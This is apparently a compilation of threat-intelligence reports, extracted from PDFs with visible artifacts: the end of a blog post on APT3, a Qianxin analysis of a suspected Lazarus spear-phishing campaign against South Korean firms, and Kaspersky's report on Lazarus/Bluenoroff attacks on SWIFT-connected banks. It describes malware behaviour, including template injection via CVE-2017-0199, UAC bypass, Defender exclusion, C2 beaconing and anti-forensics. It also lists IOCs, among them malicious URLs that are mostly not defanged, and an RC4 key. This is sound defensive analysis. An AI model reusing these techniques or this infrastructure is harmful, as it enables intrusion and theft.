3/4 This blog has been contacted by several InfoSec professionals who had been following APT3.
Without exception they reported a complete cessation of APT3 activity in May 2017.
Following the US indictment announcement in November 2017, the Wall Street Journal also reported that Boyusec had been disbanded.
The Wall Street Journal claims that Boyusec was disbanded in late 2017 In addition to the evidence above, the press release announcing the American indictments against Wu, Dong and Xia refers to May 2017 as the final date of their activity.
Our conclusion?
It seems that APT3 is no more.
Whats next?
The P in APT stands for Persistent.
But this episode goes to show that Chinese APT hackers will only persist whilst their activity remains anonymous.
APT3 was one of the biggest APT threats to Western companies, yet it was completely silenced by shining a light on its activities and exposing the identities of those behind the group to the world.
Analysts working with this blog are continuing their efforts to identify the individuals, companies and state institutions behind the damaging attacks that hit the West.
We have accumulated evidence on several groups over the last twelve months and hope to share some of it soon.
4/4 https://www.wsj.com/articles/chinese-firm-behind-alleged-hacking-was-disbanded-this-month-1511881494 The destruction ofAPT3
Snow Abuse: Analysis of the Suspected Lazarus Attack Activities against South Korean Companies included in the collection 8 APT 59 Lazarus 4 overview Spear phishing attacks have long been one of the most convenient ways to get into an enterprise network.
Spear phishing attacks are often used against large corporations, banks, or influencers, and most commonly target high-level employees who have access to rich information, or employees in departments that need to open a lot of foreign documents at work.
Generally speaking, attack files are macro code written in Microsoft Word or JavaScript code, which are very small, have no superfluous programs built into the files, and whose sole purpose is to download more destructive malware on the target objects computer.
Once downloaded, malware spreads further through the targeted network or is only used to steal all available information, helping attackers find targets in the network.
recently, the red raindrop team of the qianxin threat intelligence center has captured a large number of spear phishing attack samples against south korean companies in the daily threat hunt.
it is infected through a vulnerable document or chm file, and distinguishes the number of bits of the current operating system, and executes macro code corresponding to the number of bits of the system to achieve the best attack effect.
after research, the characteristics of this attack are as follows: 1.
THE INITIAL INFECTED DOCUMENTS ARE DOWNLOADED FOR SUBSEQUENT EXECUTION USING CVE-2017-0199 REMOTE CODE EXECUTION VULNERABILITY 2.
The subsequent attack uses the UAC Bypass technology of the local RPC interface to elevate the privilege 3.
subsequent load packing interference analysis and use simple means to detect whether it is in the sandbox sample analysis 0x01 decoy file red raindrops team 2022-04-11 00:27Original qianxin threat intelligence center javascript:void(0) The attack sample captured this time is a docx file, all of which use the Microsoft Office/WordPad remote code execution vulnerability, its vulnerability number is CVE- 2017-0199, and the decoy analysis of the related samples is as follows: the bait file induces the victim to click enable content in a number of ways.
for example,  .docx (emergency disaster assistance request form) induces users to click on enable content by displaying garbled file content.
The bait file () .docx (Daehan Mine Development Shares) shows that the document was produced by Windows 11, inducing the victim to click on the enabled content.
or fake microsofts error message, the same purpose is to induce users to click to enable content.
0x02 malicious macro Here, take  .docx (notification) as an example, click on the execution bait fil e, access the remote template http://VM2rJOnQ.naveicoipg.online/ACMS/0hUxr3Lx/p olice0?midh1o5cYfJ download execution, and the file downloaded and executed is a s follows.
The macro code embedded in the file first downloads the attached payload (32Bit/64Bit) from the outside: mount page for payload: the payload is then decrypted and injected into the winword .exe process.
0x03 injected code the injected code is first anti-sandboxed in the main function.
At the same time, it will detect whether the currently running process contains v3l 4sp .exe, and if so, exit the program.
v3l4sp .exe a subroutine of south Korean AhnLa bs free antivirus software V3 Lite, indicating that the target of this attack is not for in dividual users in South Korea.
Subsequently, the error .log is released in the AppDataLocal\Microsoft\TokenB roker directory, and s/o2ldz9l95itdj2e/error.txt?dl0, and the Release RuntimeBroke r .exe is decrypted in the same directory.
The UAC Bypass technology of the native RPC interface is then used to perform the RuntimeBroker .exe.
finally, it is persisted through the registry startup key.
0x04 RuntimeBroker.exe RuntimeBroker .exe interfered with the researchers analysis by adding a UPX shel l, and after dehulling, it was found that it also detected the sandbox in the main func tion, and also detected whether the currently running process contained v3l4sp.exe a nd AYAgent.aye.
AYAgent.aye is part of ALYac, south Koreas Internet security suite, es tsoft.
Verify whether the currently running program path is a RuntimeBroker .exe in the AppDataLocal\Microsoft\TokenBroker directory, or delete itself if it is not, which is to evade dynamic detection of the sandbox.
It is then added to windows Defenders exclusion list using the PowerShell command.
Read the contents of the released error .log file and stitch it together with the URL dl.dropboxusercontent.com of the cloud server Dropbox, so that it acts as an intermediary to pass the C2 information.
The user information is then uploaded to the hxxp://naveicoipg.online/post2.php in the specified format uidsavtypedavtypedmajorvd, where the va lue of avtype is 1 when no soft kill is specified, 2 when v3l4sp .exe is present, and 3 w hen AYAgent.aye is present.
Subsequent visits naveicoipg.onlines /fecommand.acm page to get the payload, where uid is the victim ID of the previous callback C2.
the obtained instruction content calls the function sub_401410 executed, and the malware maintains an array of structs of size 100 to record the executed instructions.
If the instruction has not been executed before, the calling function sub_401280 download the corresponding subsequent payload from C2, download the subsequent URL format is / instruction name , and the obtained content will be executed as a PE file.
unfortunately, subsequent content is not available as of the time of analysis.
traceability and correlation By searching the database for the keyword fecommand.acm, we discovered another way to spread attack samples, distributed by using CHM files.
The retrieved chmext .exe malicious program whose parent file is a CHM file.
the short link in the bait chm file was redirected to the actual website of the korean centers for disease control and prevention, which echoed the bait file name, making it easier for the victim to get caught.
After comparison, the chmext .exe is basically the same as the above injected cod e, only C2 is different, chmext .exe C2 is naveicoipc.tech.
IN THE PROCESS OF CONTINUING TO TRACE THE SOURCE, WE ALSO FOUND PHISHING EMAILS THAT IMPERSONATED THE KOREAN INTERNET INFORMATION CENTER.
COMBINED WITH VARIOUS INDICATIONS, WE SUSPECT THAT THIS ATTACK IS FROM THE HANDS OF THE APT ORGANIZATION, ITS ATTACK TARGET IS NOT AN INDIVIDUAL ORDINARY USER, THE ATTACK METHODS ARE COMPLEX AND CHANGEABLE, ITS FOLLOW-UP REAL PAYLOAD IS RELATIVELY HIDDEN, AND THE NUMBER OF ATTACK SAMPLES IS LARGE, AND WE HAVE CAPTURED A LARGE NUMBER OF ATTACK SAMPLES IN A SHORT PERIOD OF TIME.
Combing through the APT organization targeting South Korea, we found that this attack is suspected to be from the APT organization Lazarus, as early as a few years a go, the Lazarus organization was good at using the cloud server Dropbox to carry out the attack, followed by the February malwarebytes labs disclosed Lazaruss report [1], Lazarus also created the RuntimeBroker process in the attack process.
Coincidentally, in the process of tracing the origin of C2, we found that as early a s March 25, the foreign security company Rewterz made an early warning of the navei coipc.tech domain name [2], and the URL link in its warning was basically consistent w ith the sample link we captured earlier.
summary as of the end of the draft, there are still new attack samples being discovered, whi ch is worth our vigilance PHISHING EMAILS HAVE ALWAYS BEEN ONE OF THE IMPORTANT MEANS OF ATTA CKS BY APT ORGANIZATIONS, AND MOST USERS ARE NOT SECURITY-CONSCIOUS AN D ARE EASILY CONFUSED BY SPOOFED EMAILS, DISGUISED DOCUMENTS, AND DECEP TIVE HEADERS.
THE QIANXIN RED RAINDROP TEAM REMINDS USERS TO BEWARE OF PHISHING ATTACKS, NEVER OPEN LINKS OF UNKNOWN ORIGIN SHARED ON SOCIAL MEDIA, DO NOT CLICK ON EMAIL ATTACHMENTS THAT EXECUTE UNKNOWN SOURCE S, DO NOT RUN UNKNOWN FILES WITH EXAGGERATED TITLES, AND DO NOT INSTALL APPS FROM IRREGULAR SOURCES.
BACK UP IMPORTANT FILES IN A TIMELY MANNER, UPDATE AND INSTALL PATCHES.
If you need to run, install an application of unknown origin, you can first use the Qianxin Threat Intelligence File Deep Analysis Platform (https://sandbox.ti.qianxin.co m/sandbox/page) to identify.
At present, it supports in-depth analysis of files in vario us formats, including Windows and Android platforms [3].
AT PRESENT, THE FULL RANGE OF THREAT INTELLIGENCE DATA BASED ON THE QI ANXIN THREAT INTELLIGENCE CENTER, INCLUDING THE QIANXIN THREAT INTELLIGEN CE PLATFORM (TIP), TIANQING, TIANYAN ADVANCED THREAT DETECTION SYSTEM, QI ANXIN NGSOC, ANDRXIN SITUATIONAL AWARENESS, ETC.,
HAVE SUPPORTED THE AC CURATE DETECTION OF SUCH ATTACKS.
IOCs MD5 44BE20C67A80AF8066F9401C5BEE43CB 65ABAD905E80F8BC0A48E67C62E40119 1FD8FEF169BF48CFDCF506151264128C 7B07CD6BB6B5D4ED6A2892A738FE892B 9AD00E513364E9F44F1B6712907CBA9B 15A7125FE9E629122E1D1389062AF712 749CCB545B74B8EB9DFF57FCB6A07020 1769A818548A0B52C7BE2A0A213A9384 9775EF6514916977D73E39A6B09029BC 210DB61D1B11C1D233FD8A0645946074 B587851D8A42FC8C23F638BBC2EB866B BDFB5071F5374F5C0A3714464B1FA5E6 C0B24DC8F53227CE0C64439B302CA930 619649CE3FC1682C702D9159E778F8FD D19DD02CF375D0D03F557556D5207061 D47F7FCBE46369C70147A214C8189F8A E3FFDA448DF223B240A20DAE41E20CEF 825730D9DD22DBAE7F2BD89131466415 4382384FEB5AD6B574F68E431006905E AAD5A9F3BE23D327B9122A7F7E102443 556ABC167348FE96ABFBF5079C3AD488 URL http://VM2rJOnQ.naveicoipg.online/ACMS/0hUxr3Lx/police0?midh1o5cYfJ http://twlekqnwl.naveicoipg.online/ACMS/0y0fMbUp/supportTemplate7?
cidyypwjelnblw http://olsnvolqwe.naveicoipg.online/ACMS/0y0fMbUp/supportTemplate5?
cidpqwnlqwjqg http://vnwoei.naveicoipg.online/ACMS/0s4AtPuk/wwwTemplate?cidnnwoieopq http://jvnquetbon.naveicoipg.online/ACMS/0pxCtBMz/policeTemplate1?
midksndoqiweyp http://AOsM8Cts.naveicoipg.online/ACMS/0ucLxIjP/toyotaTemplate8?tidCN2xsRPI http://ADzJvazJ.naveicoipg.online/ACMS/0ucLxIjP/toyotaTemplate1?tid2uiSmhx2 http://CEcOMTp3.naveicoipg.online/ACMS/0o0WQher/ttt3?qwev0OSWog5 http://123fisd.naveicoipg.online/ACMS/0mFCUrPf/temp04060?ttuqqcnvoiek http://naveicoipc.tech/ACMS/0Mogk1Cs/topAccounts?uid3490blxl http://1xJOiKZd.naveicoipa.tech/ACMS/Cjtpp17D/Cjtpp17D64.acm http:// uzzmuqwv.naveicoipc.tech/ACMS/1uFnvppj/1uFnvppj32.acm http://naveicoipd.tech/ACMS/018ueCdS/blockchainTemplate http://bcvbert.naveicoipe.tech/ACMS/01AweT9Z/01AweT9Z64.acm http://xjowihgnxcvb.naveicoipf.online/ACMS/07RRwrwK/07RRwrwK64.acm reference links [1].
https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus- apt-leverages-windows-update-client-github-in-latest-campaign/ Modified on 2022-04-11 Read more People who liked this content also liked [2].
https://www.rewterz.com/rewterz-news/rewterz-threat-alert-lazarus-apt-group-io cs-6 [3].
https://ti.qianxin.com/portal Click to read the original article to ALPHA 5.0 instantly assist in threat research Included in the collection APT 59 previous Lazarus Arsenal Update: Andariel Recent Attack Sample Analysis next analysis of the recent attack activities of the blind eagle in forging judicial bans the mysterious hacking organization that hacked microsoft, samsung, and nvidia was exposed, and behind it was a 16-year-old british teenager who... big data digest Facebook blocks cyberattacks against Ukraine by Russia and Belarus Ubuntu developers terminate russian operations 21CTO javascript:
LAZARUS UNDER THE HOOD Executive Summary The Lazarus Groups activity spans multiple years, going back as far as 2009.
Its malware has been found in many serious cyberattacks, such as the massive data leak and file wiper attack on Sony Pictures Entertainment in 2014 the cyberespionage campaign in South Korea, dubbed Operation Troy, in 2013 and Operation DarkSeoul, which attacked South Korean media and financial companies in 2013.
There have been several attempts to attribute one of the biggest cyberheists, in Bangladesh in 2016, to Lazarus Group.
Researchers discovered a similarity between the backdoor used in Bangladesh and code in one of the Lazarus wiper tools.
This was the first attempt to link the attack back to Lazarus.
However, as new facts emerged in the media, claiming that there were at least three independent attackers in Bangladesh, any certainty about who exactly attacked the banks systems, and was behind one of the biggest ever bank heists in history, vanished.
The only thing that was certain was that Lazarus malware was used in Bangladesh.
However, considering that we had previously found Lazarus in dozens of different countries, including multiple infections in Bangladesh, this was not very convincing evidence and many security researchers expressed skepticism abound this attribution link.
This paper is the result of forensic investigations by Kaspersky Lab at banks in two countries far apart.
It reveals new modules used by Lazarus group and strongly links the tools used to attack systems supporting SWIFT to the Lazarus Groups arsenal of lateral movement tools.
Considering that Lazarus Group is still active in various cyberespionage and cybersabotage activities, we have segregated its subdivision focusing on attacks on banks and financial manipulations into a separate group which we call Bluenoroff (after one of the tools they used).
Introduction Since the beginning of 2016, the cyberattack against the Bangladesh Central Bank, which attempted to steal almost 1 billion USD, has been in the spotlight of all major news outlets.
New, scattered facts popped up as the investigation developed and new incidents were made public, such as claims by the Vietnamese Tien Phong bank about the prevention of the theft of 1 million USD in December 2015.
Security companies quickly picked up some patterns in the tools used in those attacks and linked them to Lazarus Group.
The Lazarus Groups activity spans multiple years, going back as far as 2009.
However, its activity spiked from 2011.
The group has deployed multiple malware families across the years, including malware associated with Operation Troy and DarkSeoul, the Hangman malware https://en.wikipedia.org/wiki/Sony_Pictures_hack https://www.bloomberg.com/news/articles/2016-05-10/bangladesh-bank-heist-probe-said-to-find-three-groups-of-hackers https://www.bloomberg.com/news/articles/2016-05-15/vietnam-s-tien-phong-bank-targeted-by-swift-hack-reuters-says http://baesystemsai.blogspot.sg/2016/05/cyber-heist-attribution.html (2014-2015) and Wild Positron/Duuzer (2015).
The group is known for spearphishing attacks, which include CVE-2015-6585, a zeroday vulnerability at the time of its discovery.
The last major set of publications on the Lazarus actor was made possible due to a security industry alliance lead by Novetta.
The respective research announcement was dubbed Operation Blockbuster.
The following quote from Novettas report, about the purpose of the research, caught our eye: While no effort can completely halt malicious operations, Novetta believes that these efforts can help cause significant disruption and raise operating costs for adversaries, in addition to profiling groups that have relied on secrecy for much of their success.
Bluenoroff: a Child of Lazarus Clearly, even before the Operation Blockbuster announcement, Lazarus had an enormous budget for its operations and would need a lot of money to run its campaigns.
Ironically, Novettas initiative could have further increased the already rising operating costs of Lazarus attacks, which in turn demanded better financing to continue its espionage and sabotage operations.
So, one of the new objectives of Lazarus Group could be to become self-sustaining and to go after money.
This is where Bluenoroff, a Lazarus unit, enters the story.
Based on our analysis, we believe this unit works within the larger Lazarus Group, reusing its backdoors and leveraging the access it created, while penetrating targets that have large financial streams.
Of course it implies a main focus on banks, but banks are not the only companies that are appearing on the radar of Bluenoroff: financial companies, traders and casinos also fall within Bluenoroffs area of interest.
Novettas report doesnt provide strict attribution, linking only to the FBIs investigation of the Sony Pictures Entertainment hack and a strong similarity in the malware tools.
Sometime later, the media carried additional facts about how strong the FBIs claims were, supporting this with some data allegedly from the NSA.
The deputy director of the NSA, Richard Ledgett recently commented on Lazarus and its link to North Korea, however no new evidence of this link has been provided.
Since the incident in Bangladesh, Kaspersky Lab has been tracking the actor going after systems supporting SWIFT messaging, collecting information about its new attacks and operations.
The recently discovered massive attack against banks in Europe in February 2017 was also a result of this tracking.
Highly important malicious activity was detected by Kaspersky Lab products in multiple European financial institutions in January 2017 and this news eventually ended up being published by the Polish media.
The journalists investigations jumped slightly ahead of technical investigations and disclosed some facts before the analysis was finished.
When it comes to Lazarus, the investigation and discovery of new facts is a long chain of events which consist of forensic and reverse engineering stages following one another.
Hence, results cannot be made available immediately.
https://www.operationblockbuster.com/ https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf http://www.theregister.co.uk/2015/01/07/sony_pictures_hack_was_definitely_the_norks_insists_fbi_chief/ http://www.theregister.co.uk/2015/01/19/nsa_saw_sony_hack/ http://freebeacon.com/national-security/nsa-nation-state-cyber-attack-included-virtual-hand-hand-combat/ https://badcyber.com/several-polish-banks-hacked-information-stolen-by-unknown-attackers/ Previous Link to Lazarus Group Since the Bangladesh incident there have been just a few articles explaining the connection between Lazarus Group and this particular heist.
One was published by BAE systems in May 2016, however, it only included an analysis of the wiper code.
This was followed by another blogpost by Anomali Labs confirming the same wiping code similarity.
This similarity was found to be satisfying to many readers, but we wanted to look for a stronger connection.
Other claims that the attacker targeting the financial sector in Poland was Lazarus Group came from Symantec in 2017, which noticed string reuse in malware used at one of their Polish customers.
Symantec also confirmed seeing the Lazarus wiper tool in Poland at one of their customers, however from this its only clear that Lazarus might have attacked Polish banks.
While all these facts look fascinating, the connection between Lazarus attacks on banks and its role in attacks their back office operations was still a loose one.
The only case where malware targeting the infrastructure used to connect to SWIFT was discovered is the Bangladesh Central Bank incident.
However, while almost everybody in the security industry has heard about the attack, few technical details based on the investigation that took place on site at the attacked company have been revealed to the public.
Considering that the post-hack stories in the media mentioned that the investigation stumbled upon three different attackers, it was not obvious whether Lazarus was the one responsible for the fraudulent SWIFT transactions, or if Lazarus had in fact developed its own malware to attack the banks systems.
In addition, relying solely on a single similarity based on file wiping code makes the connection not as strong, because the secure file wiping procedure is a utility function that can be used in many non-malware related projects.
Such code could be circulating within certain software developer communities in Asia.
One such example is an open-source project called sderase available with sourcecode at SourceForge, submitted by a developer with an Asian looking nickname - zhaoliang86.
We assumed that its possible that there are many other projects like sderase available on Asian developer forums, and code like this could be borrowed from them.
We would like to add a few strong facts that link some attacks on banks to Lazarus, to share some of our own findings and to shed light on the recent TTPs (Tactics, Techniques and Procedures) used by the attacker, including some as yet unpublished details from the attack in Europe in 2017.
Incident 1 The incident happened in a South East Asian country in August 2016, when Kaspersky Lab products detected new malicious activity from the Trojan-Banker.
Win32.Alreay malware family.
This malware was linked to the arsenal of tools used by the attackers in Bangladesh.
As the attacked organization was a bank, we decided to investigate this case in depth.
During the months of cooperation with the bank that followed, we revealed more and more tools hidden http://baesystemsai.blogspot.sg/2016/05/cyber-heist-attribution.html https://www.anomali.com/blog/evidence-of-stronger-ties-between-north-korea-and-swift-banking-attacks https://www.symantec.com/connect/blogs/attackers-target-dozens-global-banks-new-malware-0 https://www.symantec.com/connect/blogs/attackers-target-dozens-global-banks-new-malware-0 https://www.bloomberg.com/news/articles/2016-05-10/bangladesh-bank-heist-probe-said-to-find-three-groups-of-hackers https://sourceforge.net/projects/sderase/ deep inside its infrastructure.
We also discovered that the attackers had learned about our upcoming investigation and wiped all the evidence they could, including tools, configuration files and log records.
In their rush to disappear they managed to forget some of the tools and components, which remained in the system.
Malware Similarity Just like other banks that have their own dedicated server to connect to SWIFT, the bank in Incident 1 had its own.
The server was running SWIFT Alliance software.
Since the notorious Bangladesh cyberattack, the SWIFT Alliance software has been updated to include some additional checks which verify software and database integrity.
This was an essential and logical measure as attackers had shown attempts to tamper with SWIFT software Alliance on disk and in memory, disabling direct database manipulations, as previously reported in the analysis by BAE Systems.
This was discovered by the attackers, who tracked the changes in SWIFT Alliance software.
The malware tools found in Incident 1 suggested that the attackers had carefully analyzed the patches and implemented a better way to patch new changes.
More details on the patcher tool are provided in the Appendix.
The malware discovered on the server connected to SWIFT strongly linked Incident 1 to the incident in Bangladesh.
While certain tools were new and different in the malware code, the similarities left no doubt that the attacker in Incident 1 used the same code base.
Below are some of the identical code and encryption key patterns that we found.
Sample submitted from Bangladesh and mentioned in the BAE Systems blog.
MD5: 1d0e79feb6d7ed23eb1bf7f257ce4fee Sample discovered in Incident 1 to copy SWIFT message files to separate storage.
MD5:f5e0f57684e9da7ef96dd459b554fded http://baesystemsai.blogspot.sg/2016/04/two-bytes-to-951m.html http://baesystemsai.blogspot.sg/2016/04/two-bytes-to-951m.html The screenshot above shows the disassembly of the logging function implemented in the malware.
The code is almost identical.
It was improved a little by adding current process ID to the log record.
Never stopping code modification by the developer seems to be one of Lazarus Groups long- term strategies: it keeps changing the code even if it doesnt introduce much new functionality.
Changing the code breaks Yara recognition and other signature-based detections.
Another example of changing code, while preserving the core idea, originates from Novettas sample set.
One of the Lazarus malware modules that Novetta discovered used a binary configuration file that was encrypted with RC4 and a hardcoded key.
A fragment of the code that loads, decrypts and verifies config file magic is shown below.
Note that the first DWORD of the decrypted data has to be 0xAABBCCDD.
The new variants of Lazarus malware used since Novettas publication included a different code, with a new magic number and RC4 key, but following the same idea.
Sample submitted from Bangladesh.
Uses magic value 0xA0B0C0D0 MD5: 1d0e79feb6d7ed23eb1bf7f257ce4fee Sample discovered in Incident 1.
Uses magic value 0xA0B0C0D0 MD5: f5e0f57684e9da7ef96dd459b554fded The code above is used to read, decrypt and check the external config file.
You can see how it was modified over time.
The sample from Incident 1 has certain differences which would break regular binary pattern detection with Yara.
However, its clearly the same but improved code.
Instead of reading the file once, malware attempts to read it up to five times with a delay of 100ms.
Then it decrypts the file with a hardcoded RC4 key, which is an identical 16 bytes in both samples (4E 38 1F A7 7F 08 CC AA 0D 56 ED EF F9 ED 08 EF), and verifies the magic value which must be 0xA0B0C0D0.
According to forensic analysis, this malware was used by an actor who had remote access to the system via its own custom set of backdoors.
Most of the analyzed hosts were not directly controlled via a C2 server.
Instead they connected to another internal host that relayed TCP connection to the C2 using a tool that we dubbed the TCP Tunnel Tool.
This tool can be used to chain internal hosts within the organization and relay connection to the real C2 server.
This makes it harder for administrators to identify compromised hosts, because local connections usually seem less suspicious.
One very similar tool was also described by Novetta, which it dubbed Proxy PapaAlfa.
This tool is one of the most popular during an attack.
Some hosts were used only as a relay, with no additional malware installed on them.
Thats why we believe that the Lazarus actor has many variants of this tool and changes it often to scrutinize network or file-based detection.
For full the technical details of the tool discovered in Incident 1 see Appendix (MD5: e62a52073fd7bfd251efca9906580839).
One of the central hosts in the bank, which was running SWIFT Alliance software, contained a fully-fledged backdoor (MD5: 2ef2703cfc9f6858ad9527588198b1b6) which has the same strong code and protocol design as a family of backdoors dubbed Romeo by Novetta.
The same, but packed, backdoor was uploaded to a multiscanner service from Poland and South Korea in November 2016 (MD5: 06cd99f0f9f152655469156059a8ea25).
We believe that this was a precursor of upcoming attacks on Poland and other European countries, however this was not reported publicly in 2016.
The same malware was delivered to the European banks via an exploit attack in January 2017.
There are many other visible similarities between the Lazarus malware reported by Novetta and malware discovered in Incident 1, such as an API import procedure and a complicated custom PE loader.
The PE loader was used by many malware components: DLL loaders, injectors, and backdoors.
https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Tools-Report.pdf https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf LimaAlfa sample from Novettas Lazarus malware set (loader of other malicious files).
MD5: b135a56b0486eb4c85e304e636996ba1 Sample discovered in Incident 1 (backdoor which contains PE loader code).
MD5: bbd703f0d6b1cad4ff8f3d2ee3cc073c Note that the modules presented differ in file type and purpose: Novettas sample is an EXE file which is used to load other malicious PE files, while the sample discovered in Incident 1 is a DLL backdoor.
Still, they are based on an identical code base.
The discussion about similarities can be continued.
However, its now very clear that the attack in Bangladesh and Incident 1 are linked through the use of the Lazarus malware arsenal.
Forensic Findings on the Server Connected to SWIFT In the case of the South East Asian attack we have seen infections both on the server connecting to SWIFT and several systems that belong to the IT department of the company.
We managed to recover most of the modules, while some others were securely wiped and became inaccessible for analysis.
Nevertheless, in many cases we see references to unique filenames that were also seen on other infected systems and were most likely malicious tools.
As we learned from the analysis of this incident, there are cross-victim event correlations, which suggest that attackers worked in multiple compromised banks at the same time.
Here are our key takeaways from the forensic analysis: The attackers had a foothold in the company for over seven months.
The South East Asian bank was breached at the time when the Bangladesh heist happened.
Most of the malware was placed into a C:\Windows directory or C:\MSO10 directory.
These two paths were hardcoded into several modules.
The malware was compiled days or sometimes hours before it was deployed, which suggests a very targeted and surgical operation.
The attackers used an innocent looking decryptor with a custom PE loader designed to bypass detections by security products on start.
Most of the modules are designed to run as a service or have administrative/SYSTEM rights.
The backdoors found in this attack on the server connecting to SWIFT matched the design described by Novetta as a Romeo family of backdoors (RATs) in their paper, which directly links the South East Asian case to Lazarus.
Not everything ran smoothly for the attacker.
We found multiple events of process crashes and system restarts during the time of the alleged attackers presence.
Attackers operated out of office hours according to the victims schedule and timezone to avoid detection.
They attempted to debug some problems by enabling the sysmon driver for several hours.
Later, they forgot to wipe the sysmon event log file, which contained information on running processes, their respective commandlines and file hashes.
There was specific malware targetting SWIFT Alliance software that disabled internal integrity checks and intercepted processed transaction files.
We called this SWIFT targeted malware and directly attribute authorship to the Bluenoroff unit of Lazarus.
The SWIFT malware is different from other Lazarus tools, because it lacks obfuscation, disguise and packing.
Persistence was implemented as Windows service DLL, registered inside the group of Network Services (netsvcs).
They used a keylogger, which was stored in an encrypted container.
This was decrypted and loaded by a loader that fetched the encrypted information from a different machine (disguised as one of the files in C:\Windows\Web\Wallpaper\Windows\).
The attackers patched SWIFT Alliance software modules on disk permanently, but later rolled back the changes.
Another operational failure was forgetting to restore the patched module in the backup folder.
The patch applied to the liboradb.dll module is very similar to the one described by BAE Systems in its article about the Bangladesh attacks.
Attackers used both passive and active backdoors.
The passive backdoors listened on the TCP port which was opened in Firewall via a standard netsh.exe command.
That left additional records in system event log files.
The port was set in the config, or passed as a command-line argument.
They prefer ports ending with 443, i.e.
6443, 8443, 443.
Internal SWIFT Alliance software logs contained several alerts about database failures from June to August 2016, which links to attackers attempts to tamper with the database of transactions.
The attackers didnt have visual control of the desktop through their backdoors which is why they relied on their own TCP tunnel tools that forwarded RDP ports to the operator.
As a result we identified the anomalous activity of Terminal Services: they worked late and sometimes during weekends.
One of the earliest Terminal Services sessions was initiated from the webserver hosting the companys public website.
The webserver was in the same network segment as the server connected to SWIFT and was most likely the patient zero in this attack.
http://baesystemsai.blogspot.ru/2016/04/two-bytes-to-951m.html Timeline of Attacks Due to long-term cooperation with the bank we had the chance to inspect several compromised hosts in the bank.
Starting with analysis of the central host, which was the server connecting to SWIFT we could see connections to other hosts in the network.
We suspected them to be infected and this was confirmed during a closer look.
Once the contact between that bank and Kaspersky Lab was established, the attackers somehow realized that the behavior of system administrators was not normal and soon after that they started wiping all traces of their activity.
Revealing traces of their presence took us a couple of months, but we managed to collect and build a rough timeline of some of their operations, which again provided us with activity time information.
We have collected all timestamps that indicate the activity of the attackers and put them in one table, which has helped us to build a timeline of events based on the remaining artefacts.
Fig.
Timeline of events in related to Incident 1.
Synchronicity of Events in Different Incidents During the analysis of event log files we found one coming from Sysinternals Sysmon.
Surprisingly, the event log file contained records of malware activity from months before the forensic analysis, logging some of the intruders active work.
When we discovered that strange sysmon log we were confused, as it seemed like the attacker enabled it, or someone who wanted to monitor the attacker did.
Later on, a security researcher familiar with the Bangladesh investigation results confirmed that similar sysmon activity was also registered on 29 January 2016.
This means that it happened to at least two different victims within minutes.
Another event was related to tampering with SWIFT database modules.
During the analysis of systems in Incident 1, we found a directory C:\Users\username\Desktop\win32\ which was created at 2016-02-05 03:22:51 (UTC).
The directory contained a patched liboradb.dll file which was modified at 2016-02-04 14:07:07 (UTC), while the original unpatched file seems to be created on 2015-10-13 12:34:26 (UTC) and stored in liboradb.dll.bak.
This suggests attacker activity around 2016-02-04 14:07:07 (UTC).
This was the date of the widely publicized Bangladesh cyber heist.
This finding corresponds to already known incident at Bangladesh Central Bank in February 2016.
According to BAE, in BCB the module liboradb.dll was also patched with the same NOP NOP technique.
Fig.
Patched module in Bangladesh case (courtesy of BAE Systems).
So far, this means that the attackers activity and the file modification occurred on the same day in two banks in two different countries on 29 January, 2016 and 4 February, 2016.
To conclude, Bangladesh Central Bank was probably one of many banks compromised for the massive operation involving hundreds of millions of dollars.
A bank in South East Asia linked to Incident 1 is live confirmation of this fact.
Anti-Forensics Techniques Some of the techniques used by the attackers were quite new and interesting.
We assume that the attackers knew about the constraints implied by the responsibility of SWIFT and the bank when it comes to investigating a cyberattack.
So far, all infected assets were chosen to be distributed between SWIFT connected systems and the banks own systems.
By splitting the malicious payload into two pieces and placing them in two different zones of responsibility, the attackers attempted to achieve zero visibility from any of the parties that would investigate or https://baesystemsai.blogspot.sg/2016/04/two-bytes-to-951m.html?m1 analyze suspicious files on its side.
We believe that involving a third-party like Kaspersky Lab makes a big change to the whole investigation.
Technically it was implemented through a simple separation of files, which had to be put together to form a fully functioning malicious process.
We have seen this approach at least twice in current forensic analysis and we strongly believe that it is not a coincidence.
Malware Component 1 Malware Component 2 Description Trojan Dropper, igfxpers.exe was found on HostC Dropped Backdoor, was found on HostD The backdoor was dropped on the disk by the Dropper, if the operator started it with valid secret password, provided via commandline.
DLL Injector, esserv.exe was found on HostD Keylogger, loaded by DLL Injector was found on HostA The Keylogger was stored in encrypted container and could only be loaded with the DLL Injector from another host.
Its common for forensic procedures to be applied to a system as a whole.
With standard forensic procedures, which include the analysis of a memory dump and disk image of a compromised system, it is uncommon to look at a given computer as a half-compromised system, meaning that the other ingredient which makes it compromised lives elsewhere.
However, in reality the system remains breached.
It implies that a forensic analyst focusing on the analysis of an isolated single system may not see the full picture.
That is why we believe that this technique was used as an attempt to prevent successful forensic analysis.
With this in mind, wed like to encourage all forensics analysts to literally look outside of the box when conducting breach analysis, especially when you have to deal with Lazarus.
Password Protected Malware Another interesting technique is in the use of password-protected malware.
While this technique isnt exactly new, it is usually a signature of advanced attackers.
One such malware that comes to mind is the mysterious Gauss malware, which requires a secret ingredient to decrypt its protected payload.
We published our research about Gauss malware in 2012 and since then many attempts have been made to crack the Gauss encryption passphrase, without any success.
The idea is quite a simple yet very effective anti-forensics measure: the malware dropper (installer) uses a secret passphrase passed via command line argument.
The argument is hashed with MD5 and is used as the key to decrypt the payload.
In the context of the Incident 1 attack, the payload was, in turn, a loader of the next stage payload, which was encrypted and embedded into the loader.
The loader didnt have the key to decrypt its own embedded payload, but it looked for the decryption key in the registry value.
That registry value should have to be set by the installer, otherwise the malware doesnt work.
So, clearly, unless you have https://securelist.com/blog/incidents/33561/the-mystery-of-the-encrypted-gauss-payload-5/ the secret passphrase, you cannot reconstruct the full chain of events.
In the case of Incident 1 we managed to get the passphrase and it was a carefully selected string consisting of 24 random alpha-numeric upper and lowercase characters.
About The Infection Vector Due to the age of the breach inside the bank, little has been preserved and its not very clear how the attackers initially breached the bank.
However, what becomes apparent is that they used a web server located in the bank to connect via Terminal Services to the one linking to SWIFT connected systems.
In some cases they would switch from the web server to another internal infected host that would work as a relay.
However, all the hosts that we analyzed had no interaction with the external world except for the web server mentioned, which hosted the companys website and was exposed to the world.
